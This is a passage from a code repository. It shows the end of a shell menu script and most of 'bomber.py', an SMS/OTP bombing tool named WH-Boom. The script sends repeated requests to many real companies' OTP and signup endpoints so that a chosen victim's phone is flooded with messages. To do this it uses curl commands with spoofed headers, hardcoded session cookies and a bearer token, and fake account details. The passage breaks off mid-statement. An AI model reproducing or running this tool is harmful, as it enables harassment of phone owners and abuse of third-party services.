Bye" 621 | 622 | 623 | exit 0 624 | 625 | fi 626 | done 627 | 628 | 629 | 630 | 631 | 632 | #============================================== 633 | 634 | 635 | 636 | 637 | 638 | 639 | 640 | 641 | 642 | 643 | 644 | 645 | 646 | 647 | 648 | 649 | else [ "$plant" == Dis-agree ] 650 | 651 | 652 | 653 | echo "Good Bye" 654 | 655 | 656 | exit 0 657 | 658 | fi 659 | done 660 | -------------------------------------------------------------------------------- /whb-bin/bomber.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from datetime import datetime 3 | import os 4 | import hashlib 5 | import sys 6 | import time 7 | import threading 8 | import string 9 | import random 10 | import base64 11 | import urllib.request 12 | import urllib.parse 13 | 14 | try: 15 | import requests 16 | except ImportError: 17 | print('[!] Error: some dependencies are not installed') 18 | print('Type \'pip install -r requirements.txt\' to install all required packages') 19 | exit() 20 | 21 | colors=['\033[1;31m','\033[1;32m','\033[1;33m','\033[1;34m','\033[1;35m','\033[1;36m'] 22 | W='\033[0m' 23 | # The Credit For This Code Goes To SpeedX And All Other Contributors Listed At https://github.com/TheSpeedX/WH-Boom 24 | # If You Wanna Take Credits For This Code, Please Look Yourself Again 25 | 26 | country_codes = { 27 | '93': 'AF', 28 | '355': 'AL', 29 | '213': 'DZ', 30 | '376': 'AD', 31 | '244': 'AO', 32 | '672': 'AQ', 33 | '54': 'AR', 34 | '374': 'AM', 35 | '297': 'AW', 36 | '61': 'AU', 37 | '43': 'AT', 38 | '994': 'AZ', 39 | '973': 'BH', 40 | '880': 'BD', 41 | '375': 'BY', 42 | '32': 'BE', 43 | '501': 'BZ', 44 | '229': 'BJ', 45 | '975': 'BT', 46 | '591': 'BO', 47 | '387': 'BA', 48 | '267': 'BW', 49 | '55': 'BR', 50 | '246': 'IO', 51 | '673': 'BN', 52 | '359': 'BG', 53 | '226': 'BF', 54 | '257': 'BI', 55 | '855': 'KH', 56 | '237': 'CM', 57 | '238': 'CV', 58 | '236': 'CF', 59 | '235': 'TD', 60 | '56': 'CL', 61 | '86': 'CN', 62 | '57': 'CO', 63 | '269': 'KM', 64 | '682': 'CK', 65 | '506': 'CR', 66 | '385': 'HR', 67 | '53': 'CU', 68 | '599': 'AN', 69 | '357': 'CY', 70 | '420': 'CZ', 71 | '243': 'CD', 72 | '45': 'DK', 73 | '253': 'DJ', 74 | '670': 'TL', 75 | '593': 'EC', 76 | '20': 'EG', 77 | '503': 'SV', 78 | '240': 'GQ', 79 | '291': 'ER', 80 | '372': 'EE', 81 | '251': 'ET', 82 | '500': 'FK', 83 | '298': 'FO', 84 | '679': 'FJ', 85 | '358': 'FI', 86 | '33': 'FR', 87 | '689': 'PF', 88 | '241': 'GA', 89 | '220': 'GM', 90 | '995': 'GE', 91 | '49': 'DE', 92 | '233': 'GH', 93 | '350': 'GI', 94 | '30': 'GR', 95 | '299': 'GL', 96 | '502': 'GT', 97 | '224': 'GN', 98 | '245': 'GW', 99 | '592': 'GY', 100 | '509': 'HT', 101 | '504': 'HN', 102 | '852': 'HK', 103 | '36': 'HU', 104 | '354': 'IS', 105 | '91': 'IN', 106 | '62': 'ID', 107 | '98': 'IR', 108 | '964': 'IQ', 109 | '353': 'IE', 110 | '972': 'IL', 111 | '39': 'IT', 112 | '225': 'CI', 113 | '81': 'JP', 114 | '962': 'JO', 115 | '254': 'KE', 116 | '686': 'KI', 117 | '383': 'XK', 118 | '965': 'KW', 119 | '996': 'KG', 120 | '856': 'LA', 121 | '371': 'LV', 122 | '961': 'LB', 123 | '266': 'LS', 124 | '231': 'LR', 125 | '218': 'LY', 126 | '423': 'LI', 127 | '370': 'LT', 128 | '352': 'LU', 129 | '853': 'MO', 130 | '389': 'MK', 131 | '261': 'MG', 132 | '265': 'MW', 133 | '60': 'MY', 134 | '960': 'MV', 135 | '223': 'ML', 136 | '356': 'MT', 137 | '692': 'MH', 138 | '222': 'MR', 139 | '230': 'MU', 140 | '262': 'RE', 141 | '52': 'MX', 142 | '691': 'FM', 143 | '373': 'MD', 144 | '377': 'MC', 145 | '976': 'MN', 146 | '382': 'ME', 147 | '212': 'EH', 148 | '258': 'MZ', 149 | '95': 'MM', 150 | '264': 'NA', 151 | '674': 'NR', 152 | '977': 'NP', 153 | '31': 'NL', 154 | '687': 'NC', 155 | '64': 'NZ', 156 | '505': 'NI', 157 | '227': 'NE', 158 | '234': 'NG', 159 | '683': 'NU', 160 | '850': 'KP', 161 | '47': 'SJ', 162 | '968': 'OM', 163 | '92': 'PK', 164 | '680': 'PW', 165 | '970': 'PS', 166 | '507': 'PA', 167 | '675': 'PG', 168 | '595': 'PY', 169 | '51': 'PE', 170 | '63': 'PH', 171 | '48': 'PL', 172 | '351': 'PT', 173 | '974': 'QA', 174 | '242': 'CG', 175 | '40': 'RO', 176 | '7': 'RU', 177 | '250': 'RW', 178 | '590': 'MF', 179 | '290': 'SH', 180 | '508': 'PM', 181 | '685': 'WS', 182 | '378': 'SM', 183 | '239': 'ST', 184 | '966': 'SA', 185 | '221': 'SN', 186 | '381': 'RS', 187 | '248': 'SC', 188 | '232': 'SL', 189 | '65': 'SG', 190 | '421': 'SK', 191 | '386': 'SI', 192 | '677': 'SB', 193 | '252': 'SO', 194 | '27': 'ZA', 195 | '82': 'KR', 196 | '211': 'SS', 197 | '34': 'ES', 198 | '94': 'LK', 199 | '249': 'SD', 200 | '597': 'SR', 201 | '268': 'SZ', 202 | '46': 'SE', 203 | '41': 'CH', 204 | '963': 'SY', 205 | '886': 'TW', 206 | '992': 'TJ', 207 | '255': 'TZ', 208 | '66': 'TH', 209 | '228': 'TG', 210 | '690': 'TK', 211 | '676': 'TO', 212 | '216': 'TN', 213 | '90': 'TR', 214 | '993': 'TM', 215 | '688': 'TV', 216 | '256': 'UG', 217 | '380': 'UA', 218 | '971': 'AE', 219 | '44': 'GB', 220 | '1': 'US', 221 | '598': 'UY', 222 | '998': 'UZ', 223 | '678': 'VU', 224 | '379': 'VA', 225 | '58': 'VE', 226 | '84': 'VN', 227 | '681': 'WF', 228 | '967': 'YE', 229 | '260': 'ZM', 230 | '263': 'ZW' 231 | } 232 | 233 | 234 | def clr(): 235 | if os.name == 'nt': 236 | os.system('cls') 237 | else: 238 | os.system('clear') 239 | def banner(): 240 | 241 | clr() 242 | logo=""" 243 | █ █░ ██░ ██ ▄▄▄▄ ▒█████ ▒█████ ███▄ ▄███▓ ▄▄▄▄ ▓█████ ██▀███ ██▀███ 244 | ▓█░ █ ░█░▓██░ ██▒▓█████▄ ▒██▒ ██▒▒██▒ ██▒▓██▒▀█▀ ██▒▓█████▄ ▓█ ▀ ▓██ ▒ ██▒▓██ ▒ ██▒ 245 | ▒█░ █ ░█ ▒██▀▀██░▒██▒ ▄██▒██░ ██▒▒██░ ██▒▓██ ▓██░▒██▒ ▄██▒███ ▓██ ░▄█ ▒▓██ ░▄█ ▒ 246 | ░█░ █ ░█ ░▓█ ░██ ▒██░█▀ ▒██ ██░▒██ ██░▒██ ▒██ ▒██░█▀ ▒▓█ ▄ ▒██▀▀█▄ ▒██▀▀█▄ 247 | ░░██▒██▓ ░▓█▒░██▓░▓█ ▀█▓░ ████▓▒░░ ████▓▒░▒██▒ ░██▒░▓█ ▀█▓░▒████▒░██▓ ▒██▒░██▓ ▒██▒ 248 | ░ ▓░▒ ▒ ▒ ░░▒░▒░▒▓███▀▒░ ▒░▒░▒░ ░ ▒░▒░▒░ ░ ▒░ ░ ░░▒▓███▀▒░░ ▒░ ░░ ▒▓ ░▒▓░░ ▒▓ ░▒▓░ 249 | ▒ ░ ░ ▒ ░▒░ ░▒░▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░ ░▒░▒ ░ ░ ░ ░ ░▒ ░ ▒░ ░▒ ░ ▒░ 250 | ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░░ ░ ░░ ░ 251 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 252 | ░ ░ 253 | 254 | 255 | 256 | """ 257 | print(random.choice(colors)+logo+W) 258 | print("\n") 259 | 260 | 261 | 262 | count_inf = 0 263 | 264 | 265 | def infinite(pn, dl, ch, max): 266 | global count_inf 267 | while True: 268 | while os.path.exists('proc.xxx'): 269 | time.sleep(0.5) 270 | os.system('touch proc.xxx') 271 | api = random.choice(ch) 272 | try: 273 | ret = getapi(pn, api, 91) 274 | except Exception: 275 | ret = False 276 | if not ret: 277 | while ch.count(api) > 0: 278 | ch.remove(api) 279 | continue 280 | os.system('rm proc.xxx >/dev/null 2>&1') 281 | count_inf += 1 282 | # os.system('echo SpeedX >> count.xxx') 283 | time.sleep(float(dl)) 284 | if (count_inf > maxlim): 285 | exit() 286 | 287 | 288 | def checkinternet(): 289 | res = False 290 | try: 291 | requests.get('https://www.google.com', verify=True) 292 | res = False 293 | except Exception: 294 | res = True 295 | if res: 296 | print("\n\n\tIt seems That Your Internet Speed is Slow or You Are Using Proxies...") 297 | print('\t\tWH-Boom Will Stop Now...\n\n') 298 | banner() 299 | exit() 300 | 301 | 302 | def getapi(pn, lim, cc): 303 | global country_codes 304 | cc = str(cc).strip() 305 | cnn = country_codes[cc] 306 | lim = int(lim) 307 | url = ["https://www.oyorooms.com/api/pwa/generateotp?country_code=%2B" + 308 | str(cc) + "&nod=4&phone=" + pn, "https://direct.delhivery.com/delhiverydirect/order/generate-otp?phoneNo=" + pn, "https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=" + pn] 309 | try: 310 | if lim < len(url): 311 | urllib.request.urlopen(str(url[lim])) 312 | return True 313 | except (urllib.error.HTTPError, urllib.error.URLError): 314 | return False 315 | if lim == 3: 316 | os.system('curl -s -X POST -H "Host:m.netmeds.com" -H "content-length:76" -H "accept:*/*" -H "origin:https://m.netmeds.com" -H "x-requested-with:XMLHttpRequest" -H "save-data:on" -H "user-agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/x-www-form-urlencoded; charset=UTF-8" -H "referer:https://m.netmeds.com/customer/account/login/" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "cookie:checkmobileno-popup=quWqfunF" -H "cookie:section_data_ids=%7B%22cart%22%3A1559721914%2C%22directory-data%22%3A1559721853%7D" -H "cookie:mage-messages=" -H "cookie:_gat_UA-63910444-1=1" -H "cookie:_gac_UA-63910444-1=1.1559721866.CjwKCAjw0N3nBRBvEiwAHMwvNuYvgGcnYSdAie5_0MBknXSXxfrtAQ-otjvqdbr_MPyAf56mFqwQTxoChEUQAvD_BwE" -H "cookie:_gcl_aw=GCL.1559721866.CjwKCAjw0N3nBRBvEiwAHMwvNuYvgGcnYSdAie5_0MBknXSXxfrtAQ-otjvqdbr_MPyAf56mFqwQTxoChEUQAvD_BwE" -H "cookie:_nmstracking=| sms | ADW-CPC-Search-NMS-Brand-OC" -H "cookie:_nmsUTMtrackingsource=ADW-CPC-Search-NMS-Brand-OC&ADW-CPC-Search-NMS-Brand-OC&CPC&ADW-CPC-Search-NMS-Brand-OC" -H "cookie:_nmsCampaign=ADW-CPC-Search-NMS-Brand-OC" -H "cookie:_nmsMedium=CPC" -H "cookie:_nmsSource=ADW-CPC-Search-NMS-Brand-OC" -H "cookie:_nmsAttr=ADW-CPC-Search-NMS-Brand-OC" -H "cookie:private_content_version=eef016e2f8225f631d4a6e1cf8cdf4ac" -H "cookie:mage-cache-sessid=true" -H "cookie:mage-cache-storage-section-invalidation=%7B%7D" -H "cookie:mage-cache-storage=%7B%7D" -H "cookie:form_key=YGWpwHiCN5uglOtY" -H "cookie:_gid=GA1.3.93227781.1559647218" -H "cookie:mage-translation-file-version=%7B%7D" -H "cookie:mage-translation-storage=%7B%7D" -H "cookie:_gcl_au=1.1.656472353.1559647214" -H "cookie:PHPSESSID=b5i36rg02l2jg9cielmm9fl7c6" -H "cookie:cto_lwid=e5917844-4f1b-48f9-bf74-b0bfdd5c79ce" -H "cookie:bsCoId=3558720339100" -H "cookie:bsUl=0" -H "cookie:_fbp=fb.1.1558720332185.799068042" -H "cookie:_ga=GA1.3.185497001.1558720330" -d \'register_mobileno=' + pn + '&logintype=Otp&uniq_identy=quWqfunF&forget_pwd=N\' "https://m.netmeds.com/sociallogin/popup/nmsgetcode/" > /dev/null 2>&1') 317 | return True 318 | elif lim == 4: 319 | os.system( 320 | 'curl -s -X POST -H "Host:client-api.goomo.com" -H "origin:https://www.goomo.com" -H "client:m-web" -H "x-goomo-platform:mWeb" -H "dnt:1" -H "content-type:application/json" -H "accept:*/*" -H "referer:https://www.goomo.com/hotels" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-US,en;q=0.9" -d \'{"email":"fakeemail@gmail.com","phone_number":"' + pn + '","country_code":"' + cc + '"}\' "https://client-api.goomo.com/v2/phone_confirmation/verify_user" > /dev/null 2>&1') 321 | return True 322 | elif lim == 5: 323 | os.system('curl -s -X POST -H "Accept:*/*" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-US,en;q=0.5" -H "Connection:keep-alive" -H "Content-Length:34" -H "Content-Type:application/x-www-form-urlencoded" -H "Host:www.oriyamatrimony.com" -H "Referer:https://www.oriyamatrimony.com/" -H "User-Agent:Mozilla/5.0 (Windows NT 8.1; Win64; x64; rv:59.0) Gecko/20 Firefox/56.0" -H "X-Requested-With:XMLHttpRequest" -d "countrycode=' + 324 | cc + '&mobileno=' + pn + '" "https://www.oriyamatrimony.com/login/mobileappsms-homepage.php" > /dev/null 2>&1') 325 | return True 326 | elif lim == 6: 327 | os.system( 328 | 'curl -s -X POST -H "host:www.flipkart.com" -H "user-agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" -H "accept:*/*" -H "accept-language:en-US,en;q=0.5" -H "accept-encoding:gzip, deflate, br" -H "referer:https://www.flipkart.com/" -H "x-user-agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 FKUA/website/41/website/Desktop" -H "origin:https://www.flipkart.com" -H "connection:keep-alive" -H "Content-Type:application/json; charset=utf-8" -H "Content-Length:53" -d \'{"loginId":["+' + cc + pn + '"],"supportAllStates":true}\' "https://www.flipkart.com/api/6/user/signup/status" > /dev/null 2>&1') 329 | return True 330 | elif lim == 7: 331 | os.system('curl -s -X POST -H "Host:www.flipkart.com" -H "Connection:keep-alive" -H "Content-Length:60" -H "X-user-agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36 FKUA/website/41/website/Desktop" -H "Origin:https://www.flipkart.com" -H "Save-Data:on" -H "User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" -H "Content-Type:application/x-www-form-urlencoded" -H "Accept:*/*" -H "Referer:https://www.flipkart.com/" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "Cookie:T=BR%3Acjvqzhglu1mzt95aydzhvwzq1.1558031092050; SWAB=build-44be9e47461a74d737914207bcbafc30; lux_uid=155867904381892986; AMCVS_17EB401053DAF4840A490D4C%40AdobeOrg=1; AMCV_17EB401053DAF4840A490D4C%40AdobeOrg=-227196251%7CMCIDTS%7C18041%7CMCMID%7C63273353035509304576927719203948933246%7CMCAID%7CNONE%7CMCOPTOUT-1558686245s%7CNONE%7CMCAAMLH-1559283845%7C12%7CMCAAMB-1559283845%7Cj8Odv6LonN4r3an7LhD3WZrU1bUpAkFkkiY1ncBR96t2PTI; s_cc=true; SN=2.VI8085A6A237EB4C62836C8809F0D312EB.SI21A9EC4E99B949B2ACE6361B3F0208CC.VS187649B2B06A44C69824006710CB6D83.1558679078; gpv_pn=HomePage; gpv_pn_t=Homepage; S=d1t17GQVqPz9KPzobP3M4GQkjPy34TjfJxI4SbXVIvhwzm3mE13vfSEulmf90D/7L710qUpMq8mA0k2bx6b2DuwIS4g==; s_sq=%5B%5BB%5D%5D" -d \'loginId=+' + cc + pn + '&state=VERIFIED&churnEmailRequest=false\' "https://www.flipkart.com/api/5/user/otp/generate" > /dev/null 2>&1') 332 | return True 333 | elif lim == 8: 334 | os.system('curl -s -X POST -H "Host:www.ref-r.com" -H "User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" -H "Accept:application/json, text/javascript, */*; q=0.01" -H "Accept-Language:en-US,en;q=0.5" -H "Accept-Encoding:gzip, deflate, br" -H "Content-Type:application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With:XMLHttpRequest" -H "Content-Length:26" -H "DNT:1" -H "Connection:keep-alive" -d "mobile=' + pn + '&submit=1&undefined=" "https://www.ref-r.com/clients/lenskart/smsApi" > /dev/null 2>&1') 335 | return True 336 | elif lim == 9: 337 | rd = os.popen('curl -s -X POST -H "X-DROID-VERSION:4.12.5" -H "API-Version:2.0" -H "user-agent:samsung SM-G9350 0 4.4.2" -H "client-version:Android-4.12.5" -H "X-DROID-VERSION-CODE:158" -H "Accept:application/json" -H "client-name:Practo Android App" -H "Content-Type:application/x-www-form-urlencoded" -H "Host:accounts.practo.com" -H "Connection:Keep-Alive" -H "Content-Length:96" -d "client_name=Practo+Android+App&fingerprint=&mobile=%2B' + cc + pn + '&device_name=samsung+SM-G9350&" "https://accounts.practo.com/send_otp"').read() 338 | return rd.find("success") != -1 339 | elif lim == 10: 340 | os.system( 341 | 'curl -s -X POST -H "Host:m.pizzahut.co.in" -H "content-length:114" -H "origin:https://m.pizzahut.co.in" -H "authorization:Bearer ZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SmtZWFJoSWpwN0luUnZhMlZ1SWpvaWIzQXhiR0pyZEcxbGRYSTBNWEJyTlRGNWNqQjBkbUZsSWl3aVlYVjBhQ0k2SW1WNVNqQmxXRUZwVDJsS1MxWXhVV2xNUTBwb1lrZGphVTlwU2tsVmVra3hUbWxLT1M1bGVVcDFXVmN4YkdGWFVXbFBhVWt3VGtSbmFVeERTbmRqYld4MFdWaEtOVm96U25aa1dFSjZZVmRSYVU5cFNUVlBSMUY0VDBkUk5FMXBNV2xaVkZVMVRGUlJOVTVVWTNSUFYwMDFUV2t3ZWxwcVp6Vk5ha0V6V1ZSTk1GcHFXV2xNUTBwd1l6Tk5hVTlwU205a1NGSjNUMms0ZG1RelpETk1iVEZvWTI1U2NWbFhUbkpNYlU1MllsTTVhMXBZV214aVJ6bDNXbGhLYUdOSGEybE1RMHBvWkZkUmFVOXBTbTlrU0ZKM1QyazRkbVF6WkROTWJURm9ZMjVTY1ZsWFRuSk1iVTUyWWxNNWExcFlXbXhpUnpsM1dsaEthR05IYTJsTVEwcHNaVWhCYVU5cVJURk9WR3MxVG5wak1VMUVVWE5KYlRWcFdtbEpOazFVVlRGUFZHc3pUWHByZDA1SU1DNVRaM1p4UmxOZldtTTNaSE5pTVdSNGJWVkdkSEExYW5WMk9FNTVWekIyZDE5TVRuTkJNbWhGVkV0eklpd2lkWEJrWVhSbFpDSTZNVFUxT1RrM016a3dORFUxTnl3aWRYTmxja2xrSWpvaU1EQXdNREF3TURBdE1EQXdNQzB3TURBd0xUQXdNREF0TURBd01EQXdNREF3TURBd0lpd2laMlZ1WlhKaGRHVmtJam94TlRVNU9UY3pPVEEwTlRVM2ZTd2lhV0YwSWpveE5UVTVPVGN6T1RBMExDSmxlSEFpT2pFMU5qQTRNemM1TURSOS5CMGR1NFlEQVptTGNUM0ZHM0RpSnQxN3RzRGlJaVZkUFl4ZHIyVzltenk4" -H "x-source-origin:PWAFW" -H "content-type:application/json" -H "accept:application/json, text/plain, */*" -H "user-agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "save-data:on" -H "languagecode:en" -H "referer:https://m.pizzahut.co.in/login" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "cookie:_fbp=fb.2.1559973905081.1516144968" -H "cookie:_gat_UA-37858192-4=1" -H "cookie:_ga-ss=1|UA-37858192-4|https%3A%2F%2Fwww.google.com%2F" -H "cookie:_gid=GA1.3.1666290082.1559973902" -H "cookie:_ga=GA1.3.1893416092.1559973902" -H "cookie:run_fullstory_for_user=full_story_fail" -H "cookie:_gcl_au=1.1.2020385110.1559973902" -H "cookie:AKA_A2=A" -d \'{"customer":{"MobileNo":"' + pn + '","UserName":"' + pn + '","merchantId":"98d18d82-ba59-4957-9c92-3f89207a34f6"}}\' "https://m.pizzahut.co.in/api/cart/send-otp?langCode=en" > /dev/null 2>&1') 342 | return True 343 | elif lim == 11: 344 | os.system('curl -s -X POST -H "host:www.goibibo.com" -H "user-agent:Mozilla/5.0 (Windows NT 8.0; Win32; x32; rv:58.0) Gecko/20100101 Firefox/57.0" -H "accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "accept-language:en-US,en;q=0.5" -H "accept-encoding:gzip, deflate, br" -H "referer:https://www.goibibo.com/mobile/?sms=success" -H "content-type:application/x-www-form-urlencoded" -H "content-length:14" -H "connection:keep-alive" -H "upgrade-insecure-requests:1" -d "mbl=' + pn + '" "https://www.goibibo.com/common/downloadsms/" > /dev/null 2>&1') 345 | return True 346 | elif lim == 12: 347 | os.popen('rm temp.xxx1 > /dev/null 2>&1') 348 | os.system( 349 | 'curl -s -X POST -H "Host:www.apollopharmacy.in" -H "content-length:17" -H "accept:*/*" -H "origin:https://www.apollopharmacy.in" -H "x-requested-with:XMLHttpRequest" -H "save-data:on" -H "user-agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/x-www-form-urlencoded; charset=UTF-8" -H "referer:https://www.apollopharmacy.in/sociallogin/mobile/login/" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "cookie:__cfduid=d64c65a2edad54086382759cdf599de901558686615" -H "cookie:_ga=GA1.2.1278908803.1558686621" -H "cookie:__ta_device=fAz8eA9Rx40yyIiB5mzvHt4apFaSkMBA" -H "cookie:_fbp=fb.1.1558686627127.655454618" -H "cookie:__stat="BLOCK"" -H "cookie:jv_visits_count_EXRKNIzFkV=1" -H "cookie:__stp={"visit":"returning","uuid":"d9a1c39d-efbd-4911-ac0e-6333455f9fbb"}" -H "cookie:PHPSESSID=vnj2hvk8nga4v1m2hvlmvl88r4" -H "cookie:_gid=GA1.2.132668726.1560239715" -H "cookie:_gat=1" -H "cookie:__ta_visit=f5uvpYKu8EVmJAJmFGXMmXGSTiNQSWRS" -H "cookie:_gat_UA-31142855-1=1" -H "cookie:__ta_ping=1" -H "cookie:mage-cache-storage=%7B%7D" -H "cookie:mage-cache-storage-section-invalidation=%7B%7D" -H "cookie:mage-cache-sessid=true" -H "cookie:mage-messages=" -H "cookie:private_content_version=46e6c8611a9b0d06e662da50ca5cf311" -H "cookie:AWSALB=2177QHjXXrFgaem1w0FrBqZ2aoKrMhI+DibolJaee9cVOP4ZSV2LiLC3tks68ud4ERCydxa8kb4klbiI+VEnNQB0rsyins1USgvHcPOUoz2nySN3SC5G/wpAACIq" -H "cookie:section_data_ids=%7B%22cart%22%3A1560239751%7D" -d \'mobile=' + pn + '\' "https://www.apollopharmacy.in/sociallogin/mobile/sendotp/" --output temp.xxx1') 350 | while not os.path.exists('temp.xxx1'): 351 | time.sleep(0.1) 352 | rd = str(open('temp.xxx1', 'rb').read()) + " " 353 | return rd.find("sent") != -1 354 | elif lim == 13: 355 | rd = ' ' 356 | try: 357 | rd = os.popen( 358 | ' curl -s -X POST -H "Host:www.ajio.com" -H "Connection:keep-alive" -H "Content-Length:144" -H "Accept:application/json" -H "Origin:https://www.ajio.com" -H "User-Agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/json" -H "Referer:https://www.ajio.com/signup" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "Cookie:_ga=GA1.2.979928319.1560364071; _gid=GA1.2.666270216.1560364071; V=201; _fbp=fb.1.1560364076913.1528349725; cto_lwid=d91bea3a-7610-45aa-8f78-65a0d740fb46; PushSubscriberStatus=DENIED; peclosed=true; G_ENABLED_IDPS=google; TS018cc593=01ef61aed0fca110f50d8e3be2c66eb83188f6df8495c0ed2cd772829370fc12690954aad0834f545b57764467dbb66efb05d481a8958aebb273751956ef9eb383a3ba22dd1c94d82021e9d4c40011d4ab9bd97c6f0a74628ac12e8f7bcb663c1608e7288ebd252051cb84def3b021d3bcf643d3f3728ca9c0d9c780d171578ba966774f11ac44864a7f3da59791cb55f2741f23d72f7843efe9306459c00ec2e5f00065729a8573baba42384bb7cf46eb55cf89f72f1dcd5619a26e4ff32c63d06cac8c4bb158da6640bc0b11193134cbf38050ae0db230aa258b1181749fb0373afe041ad1aeffd0c08be7a62010db02cc65edfb1341d2de54cdf475c5dcd84e16c64c50; _gac_UA-68002030-1=1.1560366197.Cj0KCQjwxYLoBRCxARIsAEf16-tx5UXrrP9SEhR8dPkTL4a9woEF7Ae-kvSlzKdgq35y31DeK3_uhg8aAkRBEALw_wcB; cdigiMrkt=utm_source%3A%7Cutm_medium%3A%7Cdevice%3Amobile%7Cexpires%3AFri%2C%2012%20Jul%202019%2019%3A03%3A17%20GMT%7C; ImpressionCookie=4; ip=10.1.10.1; sessionStatus=true|undefined; FirstPage=Thu Jun 13 2019 00:33:53 GMT+0530 (India Standard Time); _dc_gtm_UA-68002030-1=1; uI=johnyaho%40gmail.com; TS01fe4249=01ef61aed09c32c6a53ce9e431a6a719c416867f2f3ad713fde2e74175bc248acc7a523f41e9751d032859a159bfff87664b90c3d0a9dfb2392f75876ccbe273b8a8e81d7a8d25047453c17a2905eca7eff26b780c" -d \'{"firstName":"Rox","login":"johnyaho@gmail.com","password":"Rock@5star","genderType":"Male","mobileNumber":"' + pn + '","requestType":"SENDOTP"}\' "https://www.ajio.com/api/auth/signupSendOTP" ').read() 359 | except Exception: 360 | return True 361 | if rd.find("\"statusCode\":\"1\"") != -1: 362 | return True 363 | else: 364 | return False 365 | elif lim == 14: 366 | con = '{"country_code":"' + cc + '","phone_number":"' + pn + '"}' 367 | os.popen('rm temp.xxx2 > /dev/null 2>&1') 368 | os.system('curl -s -X POST -H "Host:api.cloud.altbalaji.com" -H "Connection:keep-alive" -H "Content-Length:' + str(len(con)) + 369 | '" -H "Accept:application/json, text/plain, */*" -H "Origin:https://lite.altbalaji.com" -H "Save-Data:on" -H "User-Agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.89 Mobile Safari/537.36" -H "Content-Type:application/json;charset=UTF-8" -H "Referer:https://lite.altbalaji.com/subscribe?progress=input" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -d \'' + con + '\' "https://api.cloud.altbalaji.com/accounts/mobile/verify?domain=IN" -o temp.xxx2') 370 | while not os.path.exists('temp.xxx2'): 371 | time.sleep(0.1) 372 | rd = hashlib.md5(open('temp.xxx2', 'rb').read()).hexdigest() 373 | return rd == '24f467b24087ff48c96321786d89c69f' 374 | elif lim == 15: 375 | rd = os.popen('curl -s -X POST -H "Host:www.aala.com" -H "Connection:keep-alive" -H "Accept:application/json, text/javascript, */*; q=0.01" -H "Origin:https://www.aala.com" -H "X-Requested-With:XMLHttpRequest" -H "Save-Data:on" -H "User-Agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36" -H "Content-Type:application/x-www-form-urlencoded; charset=UTF-8" -H "Referer:https://www.aala.com/" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6,ar;q=0.5" -H "Cookie:frontend=a27mn3h3irt1rlt6i55s93p9r5; frontend_cid=8zqBBzwQTMIt9UKg; _BEAMER_USER_ID_gADrycBn12870=c9fe4f7d-b421-4bad-9cf2-0a4db716dff4; G_ENABLED_IDPS=google" -d \'email=' + cc + pn + '&firstname=SpeedX&lastname=SpeedX\' "https://www.aala.com/accustomer/ajax/getOTP"').read().strip() 376 | return rd.find('code:') != -1 377 | elif lim == 16: 378 | os.popen('curl -s -X POST -d \'method=SMS&countryCode=id&phoneNumber=' + cc + pn + 379 | '&templateID=pax_android_production\' "https://api.grab.com/grabid/v1/phone/otp"') 380 | return True 381 | elif lim == 100: 382 | rd = os.popen('curl -s -X GET "https://www.makaan.com/apis/nc/sendOtpOnCall/16257065/' + 383 | pn + '?callType=otpOnCall"').read() 384 | return rd.lower().find("new otp has been") != -1 385 | elif lim == 101: 386 | rd = os.popen('curl -s -X POST -d mobile=%2B' + cc + '-' + pn + 387 | ' 